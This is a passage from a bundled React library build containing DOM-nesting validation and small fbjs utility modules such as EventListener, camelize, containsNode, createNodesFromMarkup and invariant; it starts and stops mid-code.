'script' || tag === 'template';\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incolgroup\n      case 'colgroup':\n        return tag === 'col' || tag === 'template';\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intable\n      case 'table':\n        return tag === 'caption' || tag === 'colgroup' || tag === 'tbody' || tag === 'tfoot' || tag === 'thead' || tag === 'style' || tag === 'script' || tag === 'template';\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inhead\n      case 'head':\n        return tag === 'base' || tag === 'basefont' || tag === 'bgsound' || tag === 'link' || tag === 'meta' || tag === 'title' || tag === 'noscript' || tag === 'noframes' || tag === 'style' || tag === 'script' || tag === 'template';\n\n      // https://html.spec.whatwg.org/multipage/semantics.html#the-html-element\n      case 'html':\n        return tag === 'head' || tag === 'body';\n      case '#document':\n        return tag === 'html';\n    }\n\n    // Probably in the \"in body\" parsing mode, so we outlaw only tag combos\n    // where the parsing rules cause implicit opens or closes to be added.\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody\n    switch (tag) {\n      case 'h1':\n      case 'h2':\n      case 'h3':\n      case 'h4':\n      case 'h5':\n      case 'h6':\n        return parentTag !== 'h1' && parentTag !== 'h2' && parentTag !== 'h3' && parentTag !== 'h4' && parentTag !== 'h5' && parentTag !== 'h6';\n\n      case 'rp':\n      case 'rt':\n        return impliedEndTags.indexOf(parentTag) === -1;\n\n      case 'body':\n      case 'caption':\n      case 'col':\n      case 'colgroup':\n      case 'frame':\n      case 'head':\n      case 'html':\n      case 'tbody':\n      case 'td':\n      case 'tfoot':\n      case 'th':\n      case 'thead':\n      case 'tr':\n        // These tags are only valid with a few parents that have special child\n        // parsing rules -- if we're down here, then none of those matched and\n        // so we allow it only if we don't know what the parent is, as all other\n        // cases are invalid.\n        return parentTag == null;\n    }\n\n    return true;\n  };\n\n  /**\n   * Returns whether\n   */\n  var findInvalidAncestorForTag = function (tag, ancestorInfo) {\n    switch (tag) {\n      case 'address':\n      case 'article':\n      case 'aside':\n      case 'blockquote':\n      case 'center':\n      case 'details':\n      case 'dialog':\n      case 'dir':\n      case 'div':\n      case 'dl':\n      case 'fieldset':\n      case 'figcaption':\n      case 'figure':\n      case 'footer':\n      case 'header':\n      case 'hgroup':\n      case 'main':\n      case 'menu':\n      case 'nav':\n      case 'ol':\n      case 'p':\n      case 'section':\n      case 'summary':\n      case 'ul':\n\n      case 'pre':\n      case 'listing':\n\n      case 'table':\n\n      case 'hr':\n\n      case 'xmp':\n\n      case 'h1':\n      case 'h2':\n      case 'h3':\n      case 'h4':\n      case 'h5':\n      case 'h6':\n        return ancestorInfo.pTagInButtonScope;\n\n      case 'form':\n        return ancestorInfo.formTag || ancestorInfo.pTagInButtonScope;\n\n      case 'li':\n        return ancestorInfo.listItemTagAutoclosing;\n\n      case 'dd':\n      case 'dt':\n        return ancestorInfo.dlItemTagAutoclosing;\n\n      case 'button':\n        return ancestorInfo.buttonTagInScope;\n\n      case 'a':\n        // Spec says something about storing a list of markers, but it sounds\n        // equivalent to this check.\n        return ancestorInfo.aTagInScope;\n\n      case 'nobr':\n        return ancestorInfo.nobrTagInScope;\n    }\n\n    return null;\n  };\n\n  /**\n   * Given a ReactCompositeComponent instance, return a list of its recursive\n   * owners, starting at the root and ending with the instance itself.\n   */\n  var findOwnerStack = function (instance) {\n    if (!instance) {\n      return [];\n    }\n\n    var stack = [];\n    do {\n      stack.push(instance);\n    } while (instance = instance._currentElement._owner);\n    stack.reverse();\n    return stack;\n  };\n\n  var didWarn = {};\n\n  validateDOMNesting = function (childTag, childInstance, ancestorInfo) {\n    ancestorInfo = ancestorInfo || emptyAncestorInfo;\n    var parentInfo = ancestorInfo.current;\n    var parentTag = parentInfo && parentInfo.tag;\n\n    var invalidParent = isTagValidWithParent(childTag, parentTag) ? null : parentInfo;\n    var invalidAncestor = invalidParent ? null : findInvalidAncestorForTag(childTag, ancestorInfo);\n    var problematic = invalidParent || invalidAncestor;\n\n    if (problematic) {\n      var ancestorTag = problematic.tag;\n      var ancestorInstance = problematic.instance;\n\n      var childOwner = childInstance && childInstance._currentElement._owner;\n      var ancestorOwner = ancestorInstance && ancestorInstance._currentElement._owner;\n\n      var childOwners = findOwnerStack(childOwner);\n      var ancestorOwners = findOwnerStack(ancestorOwner);\n\n      var minStackLen = Math.min(childOwners.length, ancestorOwners.length);\n      var i;\n\n      var deepestCommon = -1;\n      for (i = 0; i < minStackLen; i++) {\n        if (childOwners[i] === ancestorOwners[i]) {\n          deepestCommon = i;\n        } else {\n          break;\n        }\n      }\n\n      var UNKNOWN = '(unknown)';\n      var childOwnerNames = childOwners.slice(deepestCommon + 1).map(function (inst) {\n        return inst.getName() || UNKNOWN;\n      });\n      var ancestorOwnerNames = ancestorOwners.slice(deepestCommon + 1).map(function (inst) {\n        return inst.getName() || UNKNOWN;\n      });\n      var ownerInfo = [].concat(\n      // If the parent and child instances have a common owner ancestor, start\n      // with that -- otherwise we just start with the parent's owners.\n      deepestCommon !== -1 ? childOwners[deepestCommon].getName() || UNKNOWN : [], ancestorOwnerNames, ancestorTag,\n      // If we're warning about an invalid (non-parent) ancestry, add '...'\n      invalidAncestor ? ['...'] : [], childOwnerNames, childTag).join(' > ');\n\n      var warnKey = !!invalidParent + '|' + childTag + '|' + ancestorTag + '|' + ownerInfo;\n      if (didWarn[warnKey]) {\n        return;\n      }\n      didWarn[warnKey] = true;\n\n      var tagDisplayName = childTag;\n      if (childTag !== '#text') {\n        tagDisplayName = '<' + childTag + '>';\n      }\n\n      if (invalidParent) {\n        var info = '';\n        if (ancestorTag === 'table' && childTag === 'tr') {\n          info += ' Add a <tbody> to your code to match the DOM tree generated by ' + 'the browser.';\n        }\n        \"development\" !== 'production' ? warning(false, 'validateDOMNesting(...): %s cannot appear as a child of <%s>. ' + 'See %s.%s', tagDisplayName, ancestorTag, ownerInfo, info) : void 0;\n      } else {\n        \"development\" !== 'production' ? warning(false, 'validateDOMNesting(...): %s cannot appear as a descendant of ' + '<%s>. See %s.', tagDisplayName, ancestorTag, ownerInfo) : void 0;\n      }\n    }\n  };\n\n  validateDOMNesting.updatedAncestorInfo = updatedAncestorInfo;\n\n  // For testing\n  validateDOMNesting.isTagValidInContext = function (tag, ancestorInfo) {\n    ancestorInfo = ancestorInfo || emptyAncestorInfo;\n    var parentInfo = ancestorInfo.current;\n    var parentTag = parentInfo && parentInfo.tag;\n    return isTagValidWithParent(tag, parentTag) && !findInvalidAncestorForTag(tag, ancestorInfo);\n  };\n}\n\nmodule.exports = validateDOMNesting;\n},{\"150\":150,\"168\":168,\"169\":169}],143:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @typechecks\n */\n\nvar emptyFunction = _dereq_(150);\n\n/**\n * Upstream version of event listener. Does not take into account specific\n * nature of platform.\n */\nvar EventListener = {\n  /**\n   * Listen to DOM events during the bubble phase.\n   *\n   * @param {DOMEventTarget} target DOM element to register listener on.\n   * @param {string} eventType Event type, e.g. 'click' or 'mouseover'.\n   * @param {function} callback Callback function.\n   * @return {object} Object with a `remove` method.\n   */\n  listen: function (target, eventType, callback) {\n    if (target.addEventListener) {\n      target.addEventListener(eventType, callback, false);\n      return {\n        remove: function () {\n          target.removeEventListener(eventType, callback, false);\n        }\n      };\n    } else if (target.attachEvent) {\n      target.attachEvent('on' + eventType, callback);\n      return {\n        remove: function () {\n          target.detachEvent('on' + eventType, callback);\n        }\n      };\n    }\n  },\n\n  /**\n   * Listen to DOM events during the capture phase.\n   *\n   * @param {DOMEventTarget} target DOM element to register listener on.\n   * @param {string} eventType Event type, e.g. 'click' or 'mouseover'.\n   * @param {function} callback Callback function.\n   * @return {object} Object with a `remove` method.\n   */\n  capture: function (target, eventType, callback) {\n    if (target.addEventListener) {\n      target.addEventListener(eventType, callback, true);\n      return {\n        remove: function () {\n          target.removeEventListener(eventType, callback, true);\n        }\n      };\n    } else {\n      if (\"development\" !== 'production') {\n        console.error('Attempted to listen to events during the capture phase on a ' + 'browser that does not support the capture phase. Your application ' + 'will not receive some events.');\n      }\n      return {\n        remove: emptyFunction\n      };\n    }\n  },\n\n  registerDefault: function () {}\n};\n\nmodule.exports = EventListener;\n},{\"150\":150}],144:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\nvar canUseDOM = !!(typeof window !== 'undefined' && window.document && window.document.createElement);\n\n/**\n * Simple, lightweight module assisting with the detection and context of\n * Worker. Helps avoid circular dependencies and allows code to reason about\n * whether or not they are in a Worker, even if they never include the main\n * `ReactWorker` dependency.\n */\nvar ExecutionEnvironment = {\n\n  canUseDOM: canUseDOM,\n\n  canUseWorkers: typeof Worker !== 'undefined',\n\n  canUseEventListeners: canUseDOM && !!(window.addEventListener || window.attachEvent),\n\n  canUseViewport: canUseDOM && !!window.screen,\n\n  isInWorker: !canUseDOM // For now, this is true - might change in the future.\n\n};\n\nmodule.exports = ExecutionEnvironment;\n},{}],145:[function(_dereq_,module,exports){\n\"use strict\";\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar _hyphenPattern = /-(.)/g;\n\n/**\n * Camelcases a hyphenated string, for example:\n *\n *   > camelize('background-color')\n *   < \"backgroundColor\"\n *\n * @param {string} string\n * @return {string}\n */\nfunction camelize(string) {\n  return string.replace(_hyphenPattern, function (_, character) {\n    return character.toUpperCase();\n  });\n}\n\nmodule.exports = camelize;\n},{}],146:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n'use strict';\n\nvar camelize = _dereq_(145);\n\nvar msPattern = /^-ms-/;\n\n/**\n * Camelcases a hyphenated CSS property name, for example:\n *\n *   > camelizeStyleName('background-color')\n *   < \"backgroundColor\"\n *   > camelizeStyleName('-moz-transition')\n *   < \"MozTransition\"\n *   > camelizeStyleName('-ms-transition')\n *   < \"msTransition\"\n *\n * As Andi Smith suggests\n * (http://www.andismith.com/blog/2012/02/modernizr-prefixed/), an `-ms` prefix\n * is converted to lowercase `ms`.\n *\n * @param {string} string\n * @return {string}\n */\nfunction camelizeStyleName(string) {\n  return camelize(string.replace(msPattern, 'ms-'));\n}\n\nmodule.exports = camelizeStyleName;\n},{\"145\":145}],147:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar isTextNode = _dereq_(160);\n\n/*eslint-disable no-bitwise */\n\n/**\n * Checks if a given DOM node contains or is another DOM node.\n *\n * @param {?DOMNode} outerNode Outer DOM node.\n * @param {?DOMNode} innerNode Inner DOM node.\n * @return {boolean} True if `outerNode` contains or is `innerNode`.\n */\nfunction containsNode(outerNode, innerNode) {\n  if (!outerNode || !innerNode) {\n    return false;\n  } else if (outerNode === innerNode) {\n    return true;\n  } else if (isTextNode(outerNode)) {\n    return false;\n  } else if (isTextNode(innerNode)) {\n    return containsNode(outerNode, innerNode.parentNode);\n  } else if (outerNode.contains) {\n    return outerNode.contains(innerNode);\n  } else if (outerNode.compareDocumentPosition) {\n    return !!(outerNode.compareDocumentPosition(innerNode) & 16);\n  } else {\n    return false;\n  }\n}\n\nmodule.exports = containsNode;\n},{\"160\":160}],148:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar invariant = _dereq_(158);\n\n/**\n * Convert array-like objects to arrays.\n *\n * This API assumes the caller knows the contents of the data type. For less\n * well defined inputs use createArrayFromMixed.\n *\n * @param {object|function|filelist} obj\n * @return {array}\n */\nfunction toArray(obj) {\n  var length = obj.length;\n\n  // Some browsers builtin objects can report typeof 'function' (e.g. NodeList\n  // in old versions of Safari).\n  !(!Array.isArray(obj) && (typeof obj === 'object' || typeof obj === 'function')) ? \"development\" !== 'production' ? invariant(false, 'toArray: Array-like object expected') : invariant(false) : void 0;\n\n  !(typeof length === 'number') ? \"development\" !== 'production' ? invariant(false, 'toArray: Object needs a length property') : invariant(false) : void 0;\n\n  !(length === 0 || length - 1 in obj) ? \"development\" !== 'production' ? invariant(false, 'toArray: Object should have keys for indices') : invariant(false) : void 0;\n\n  !(typeof obj.callee !== 'function') ? \"development\" !== 'production' ? invariant(false, 'toArray: Object can\\'t be `arguments`. Use rest params ' + '(function(...args) {}) or Array.from() instead.') : invariant(false) : void 0;\n\n  // Old IE doesn't give collections access to hasOwnProperty. Assume inputs\n  // without method will throw during the slice call and skip straight to the\n  // fallback.\n  if (obj.hasOwnProperty) {\n    try {\n      return Array.prototype.slice.call(obj);\n    } catch (e) {\n      // IE < 9 does not support Array#slice on collections objects\n    }\n  }\n\n  // Fall back to copying key by key. This assumes all keys have a value,\n  // so will not preserve sparsely populated inputs.\n  var ret = Array(length);\n  for (var ii = 0; ii < length; ii++) {\n    ret[ii] = obj[ii];\n  }\n  return ret;\n}\n\n/**\n * Perform a heuristic test to determine if an object is \"array-like\".\n *\n *   A monk asked Joshu, a Zen master, \"Has a dog Buddha nature?\"\n *   Joshu replied: \"Mu.\"\n *\n * This function determines if its argument has \"array nature\": it returns\n * true if the argument is an actual array, an `arguments' object, or an\n * HTMLCollection (e.g. node.childNodes or node.getElementsByTagName()).\n *\n * It will return false for other array-like objects like Filelist.\n *\n * @param {*} obj\n * @return {boolean}\n */\nfunction hasArrayNature(obj) {\n  return(\n    // not null/false\n    !!obj && (\n    // arrays are objects, NodeLists are functions in Safari\n    typeof obj == 'object' || typeof obj == 'function') &&\n    // quacks like an array\n    'length' in obj &&\n    // not window\n    !('setInterval' in obj) &&\n    // no DOM node should be considered an array-like\n    // a 'select' element has 'length' and 'item' properties on IE8\n    typeof obj.nodeType != 'number' && (\n    // a real array\n    Array.isArray(obj) ||\n    // arguments\n    'callee' in obj ||\n    // HTMLCollection/NodeList\n    'item' in obj)\n  );\n}\n\n/**\n * Ensure that the argument is an array by wrapping it in an array if it is not.\n * Creates a copy of the argument if it is already an array.\n *\n * This is mostly useful idiomatically:\n *\n *   var createArrayFromMixed = require('createArrayFromMixed');\n *\n *   function takesOneOrMoreThings(things) {\n *     things = createArrayFromMixed(things);\n *     ...\n *   }\n *\n * This allows you to treat `things' as an array, but accept scalars in the API.\n *\n * If you need to convert an array-like object, like `arguments`, into an array\n * use toArray instead.\n *\n * @param {*} obj\n * @return {array}\n */\nfunction createArrayFromMixed(obj) {\n  if (!hasArrayNature(obj)) {\n    return [obj];\n  } else if (Array.isArray(obj)) {\n    return obj.slice();\n  } else {\n    return toArray(obj);\n  }\n}\n\nmodule.exports = createArrayFromMixed;\n},{\"158\":158}],149:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n/*eslint-disable fb-www/unsafe-html*/\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar createArrayFromMixed = _dereq_(148);\nvar getMarkupWrap = _dereq_(154);\nvar invariant = _dereq_(158);\n\n/**\n * Dummy container used to render all markup.\n */\nvar dummyNode = ExecutionEnvironment.canUseDOM ? document.createElement('div') : null;\n\n/**\n * Pattern used by `getNodeName`.\n */\nvar nodeNamePattern = /^\\s*<(\\w+)/;\n\n/**\n * Extracts the `nodeName` of the first element in a string of markup.\n *\n * @param {string} markup String of markup.\n * @return {?string} Node name of the supplied markup.\n */\nfunction getNodeName(markup) {\n  var nodeNameMatch = markup.match(nodeNamePattern);\n  return nodeNameMatch && nodeNameMatch[1].toLowerCase();\n}\n\n/**\n * Creates an array containing the nodes rendered from the supplied markup. The\n * optionally supplied `handleScript` function will be invoked once for each\n * <script> element that is rendered. If no `handleScript` function is supplied,\n * an exception is thrown if any <script> elements are rendered.\n *\n * @param {string} markup A string of valid HTML markup.\n * @param {?function} handleScript Invoked once for each rendered <script>.\n * @return {array<DOMElement|DOMTextNode>} An array of rendered nodes.\n */\nfunction createNodesFromMarkup(markup, handleScript) {\n  var node = dummyNode;\n  !!!dummyNode ? \"development\" !== 'production' ? invariant(false, 'createNodesFromMarkup dummy not initialized') : invariant(false) : void 0;\n  var nodeName = getNodeName(markup);\n\n  var wrap = nodeName && getMarkupWrap(nodeName);\n  if (wrap) {\n    node.innerHTML = wrap[1] + markup + wrap[2];\n\n    var wrapDepth = wrap[0];\n    while (wrapDepth--) {\n      node = node.lastChild;\n    }\n  } else {\n    node.innerHTML = markup;\n  }\n\n  var scripts = node.getElementsByTagName('script');\n  if (scripts.length) {\n    !handleScript ? \"development\" !== 'production' ? invariant(false, 'createNodesFromMarkup(...): Unexpected <script> element rendered.') : invariant(false) : void 0;\n    createArrayFromMixed(scripts).forEach(handleScript);\n  }\n\n  var nodes = Array.from(node.childNodes);\n  while (node.lastChild) {\n    node.removeChild(node.lastChild);\n  }\n  return nodes;\n}\n\nmodule.exports = createNodesFromMarkup;\n},{\"144\":144,\"148\":148,\"154\":154,\"158\":158}],150:[function(_dereq_,module,exports){\n\"use strict\";\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfunction makeEmptyFunction(arg) {\n  return function () {\n    return arg;\n  };\n}\n\n/**\n * This function accepts and discards inputs; it has no side effects. This is\n * primarily useful idiomatically for overridable function endpoints which\n * always need to be callable, since JS lacks a null-call idiom ala Cocoa.\n */\nfunction emptyFunction() {}\n\nemptyFunction.thatReturns = makeEmptyFunction;\nemptyFunction.thatReturnsFalse = makeEmptyFunction(false);\nemptyFunction.thatReturnsTrue = makeEmptyFunction(true);\nemptyFunction.thatReturnsNull = makeEmptyFunction(null);\nemptyFunction.thatReturnsThis = function () {\n  return this;\n};\nemptyFunction.thatReturnsArgument = function (arg) {\n  return arg;\n};\n\nmodule.exports = emptyFunction;\n},{}],151:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\nvar emptyObject = {};\n\nif (\"development\" !== 'production') {\n  Object.freeze(emptyObject);\n}\n\nmodule.exports = emptyObject;\n},{}],152:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\n/**\n * @param {DOMElement} node input/textarea to focus\n */\n\nfunction focusNode(node) {\n  // IE8 can throw \"Can't move focus to the control because it is invisible,\n  // not enabled, or of a type that does not accept the focus.\" for all kinds of\n  // reasons that are too expensive and fragile to test.\n  try {\n    node.focus();\n  } catch (e) {}\n}\n\nmodule.exports = focusNode;\n},{}],153:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n/* eslint-disable fb-www/typeof-undefined */\n\n/**\n * Same as document.activeElement but wraps in a try-catch block. In IE it is\n * not safe to call document.activeElement if there is nothing focused.\n *\n * The activeElement will be null only if the document or document body is not\n * yet defined.\n */\nfunction getActiveElement() /*?DOMElement*/{\n  if (typeof document === 'undefined') {\n    return null;\n  }\n  try {\n    return document.activeElement || document.body;\n  } catch (e) {\n    return document.body;\n  }\n}\n\nmodule.exports = getActiveElement;\n},{}],154:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n/*eslint-disable fb-www/unsafe-html */\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar invariant = _dereq_(158);\n\n/**\n * Dummy container used to detect which wraps are necessary.\n */\nvar dummyNode = ExecutionEnvironment.canUseDOM ? document.createElement('div') : null;\n\n/**\n * Some browsers cannot use `innerHTML` to render certain elements standalone,\n * so we wrap them, render the wrapped nodes, then extract the desired node.\n *\n * In IE8, certain elements cannot render alone, so wrap all elements ('*').\n */\n\nvar shouldWrap = {};\n\nvar selectWrap = [1, '<select multiple=\"true\">', '</select>'];\nvar tableWrap = [1, '<table>', '</table>'];\nvar trWrap = [3, '<table><tbody><tr>', '</tr></tbody></table>'];\n\nvar svgWrap = [1, '<svg xmlns=\"http://www.w3.org/2000/svg\">', '</svg>'];\n\nvar markupWrap = {\n  '*': [1, '?<div>', '</div>'],\n\n  'area': [1, '<map>', '</map>'],\n  'col': [2, '<table><tbody></tbody><colgroup>', '</colgroup></table>'],\n  'legend': [1, '<fieldset>', '</fieldset>'],\n  'param': [1, '<object>', '</object>'],\n  'tr': [2, '<table><tbody>', '</tbody></table>'],\n\n  'optgroup': selectWrap,\n  'option': selectWrap,\n\n  'caption': tableWrap,\n  'colgroup': tableWrap,\n  'tbody': tableWrap,\n  'tfoot': tableWrap,\n  'thead': tableWrap,\n\n  'td': trWrap,\n  'th': trWrap\n};\n\n// Initialize the SVG elements since we know they'll always need to be wrapped\n// consistently. If they are created inside a <div> they will be initialized in\n// the wrong namespace (and will not display).\nvar svgElements = ['circle', 'clipPath', 'defs', 'ellipse', 'g', 'image', 'line', 'linearGradient', 'mask', 'path', 'pattern', 'polygon', 'polyline', 'radialGradient', 'rect', 'stop', 'text', 'tspan'];\nsvgElements.forEach(function (nodeName) {\n  markupWrap[nodeName] = svgWrap;\n  shouldWrap[nodeName] = true;\n});\n\n/**\n * Gets the markup wrap configuration for the supplied `nodeName`.\n *\n * NOTE: This lazily detects which wraps are necessary for the current browser.\n *\n * @param {string} nodeName Lowercase `nodeName`.\n * @return {?array} Markup wrap configuration, if applicable.\n */\nfunction getMarkupWrap(nodeName) {\n  !!!dummyNode ? \"development\" !== 'production' ? invariant(false, 'Markup wrapping node not initialized') : invariant(false) : void 0;\n  if (!markupWrap.hasOwnProperty(nodeName)) {\n    nodeName = '*';\n  }\n  if (!shouldWrap.hasOwnProperty(nodeName)) {\n    if (nodeName === '*') {\n      dummyNode.innerHTML = '<link />';\n    } else {\n      dummyNode.innerHTML = '<' + nodeName + '></' + nodeName + '>';\n    }\n    shouldWrap[nodeName] = !dummyNode.firstChild;\n  }\n  return shouldWrap[nodeName] ? markupWrap[nodeName] : null;\n}\n\nmodule.exports = getMarkupWrap;\n},{\"144\":144,\"158\":158}],155:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n'use strict';\n\n/**\n * Gets the scroll position of the supplied element or window.\n *\n * The return values are unbounded, unlike `getScrollPosition`. This means they\n * may be negative or exceed the element boundaries (which is possible using\n * inertial scrolling).\n *\n * @param {DOMWindow|DOMElement} scrollable\n * @return {object} Map with `x` and `y` keys.\n */\n\nfunction getUnboundedScrollPosition(scrollable) {\n  if (scrollable === window) {\n    return {\n      x: window.pageXOffset || document.documentElement.scrollLeft,\n      y: window.pageYOffset || document.documentElement.scrollTop\n    };\n  }\n  return {\n    x: scrollable.scrollLeft,\n    y: scrollable.scrollTop\n  };\n}\n\nmodule.exports = getUnboundedScrollPosition;\n},{}],156:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar _uppercasePattern = /([A-Z])/g;\n\n/**\n * Hyphenates a camelcased string, for example:\n *\n *   > hyphenate('backgroundColor')\n *   < \"background-color\"\n *\n * For CSS style names, use `hyphenateStyleName` instead which works properly\n * with all vendor prefixes, including `ms`.\n *\n * @param {string} string\n * @return {string}\n */\nfunction hyphenate(string) {\n  return string.replace(_uppercasePattern, '-$1').toLowerCase();\n}\n\nmodule.exports = hyphenate;\n},{}],157:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n'use strict';\n\nvar hyphenate = _dereq_(156);\n\nvar msPattern = /^ms-/;\n\n/**\n * Hyphenates a camelcased CSS property name, for example:\n *\n *   > hyphenateStyleName('backgroundColor')\n *   < \"background-color\"\n *   > hyphenateStyleName('MozTransition')\n *   < \"-moz-transition\"\n *   > hyphenateStyleName('msTransition')\n *   < \"-ms-transition\"\n *\n * As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix\n * is converted to `-ms-`.\n *\n * @param {string} string\n * @return {string}\n */\nfunction hyphenateStyleName(string) {\n  return hyphenate(string).replace(msPattern, '-ms-');\n}\n\nmodule.exports = hyphenateStyleName;\n},{\"156\":156}],158:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\n/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nfunction invariant(condition, format, a, b, c, d, e, f) {\n  if (\"development\" !== 'production') {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  }\n\n  if (!condition) {\n    var error;\n    if (format === undefined) {\n      error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');\n    } else {\n      var args = [a, b, c, d, e, f];\n      var argIndex = 0;\n      error = new Error(format.replace(/%s/g, function () {\n        return args[argIndex++];\n      }));\n      error.name = 'Invariant Violation';\n    }\n\n    error.framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n}\n\nmodule.exports = invariant;\n},{}],159:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n/**\n * @param {*} object The object to check.\n * @return {boolean} Whether or not the object is a DOM node.\n */\nfunction isNode(object) {\n  return !!(object && (typeof Node === 'function' ? object instanceof Node : typeof object === 'object' && typeof object.nodeType === 'number' && typeof object.nodeName === 'string'));\n}\n\nmodule.exports = isNode;\n},{}],160:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar isNode = _dereq_(159);\n\n/**\n * @param {*} object The object to check.\n * @return {boolean} Whether or not the object is a DOM text node.\n */\nfunction isTextNode(object) {\n  return isNode(object) && object.nodeType == 3;\n}\n\nmodule.exports = isTextNode;\n},{\"159\":159}],161:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks static-only\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * Constructs an enumeration with keys equal to their value.\n *\n * For example:\n *\n *   var COLORS = 